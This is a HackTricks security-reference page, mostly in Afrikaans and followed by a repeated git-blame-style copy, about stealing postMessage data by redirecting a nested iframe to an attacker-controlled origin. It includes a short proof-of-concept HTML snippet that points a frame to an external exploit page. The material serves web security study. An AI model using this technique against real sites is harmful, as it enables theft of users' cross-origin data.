hacktricks/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md

# Steal postmessage modifying iframe location

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## Changing child iframes locations

Volgens [**hierdie skrywe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n webblad kan iframe sonder 'n X-Frame-Header wat 'n ander iframe bevat, kan jy **die ligging van daardie kind iframe verander**.

Byvoorbeeld, as abc.com efg.com as iframe het en abc.com nie 'n X-Frame-header het nie, kan ek die efg.com na evil.com kruis oorsprong verander met **`frames.location`**.

Dit is veral nuttig in **postMessages** omdat as 'n bladsy sensitiewe data stuur met 'n **wildcard** soos `windowRef.postmessage("","*")`, dit moontlik is om **die ligging van die verwante iframe (kind of ouer) na 'n aanvaller se beheerde ligging te verander** en daardie data te steel.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Ondersteun HackTricks</summary>

* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`# Steal postmessage modifying iframe location`

			`{% hint style="success" %}`
			`Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`<details>`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`<summary>Support HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`* Check the [subscription plans](https://github.com/sponsors/carlospolop)!`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Share hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`{% endhint %}`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`## Changing child iframes locations`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`Volgens [hierdie skrywe](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n webblad kan iframe sonder 'n X-Frame-Header wat 'n ander iframe bevat, kan jy die ligging van daardie kind iframe verander.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			Byvoorbeeld, as abc.com efg.com as iframe het en abc.com nie 'n X-Frame-header het nie, kan ek die efg.com na evil.com kruis oorsprong verander met `frames.location`.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			Dit is veral nuttig in postMessages omdat as 'n bladsy sensitiewe data stuur met 'n wildcard soos `windowRef.postmessage("","")`, dit moontlik is om die ligging van die verwante iframe (kind of ouer) na 'n aanvaller se beheerde ligging te verander* en daardie data te steel.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			```html
			`<html>`
Translated to Afrikaans 2024-02-11 02:07:06 +00:00			`<iframe src="https://docs.google.com/document/ID" />`
			`<script>`
			`//pseudo code`
			`setTimeout(function(){ exp(); }, 6000);`

			`function exp(){`
			`//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created`
			`setInterval(function(){`
			`window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";`
			`}, 100);`
			`}`
			`</script>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`</html>`
			```
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`{% hint style="success" %}`
			`Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Opleiding AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Opleiding GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`<details>`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`<summary>Ondersteun HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`* Kyk na die [subskripsie planne](https://github.com/sponsors/carlospolop)!`
			`* Sluit aan by die 💬 [Discord groep](https://discord.gg/hRep4RUj7f) of die [telegram groep](https://t.me/peass) of volg ons op Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Deel hacking truuks deur PRs in te dien na die [HackTricks](https://github.com/carlospolop/hacktricks) en [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:54:19 +00:00			`{% endhint %}`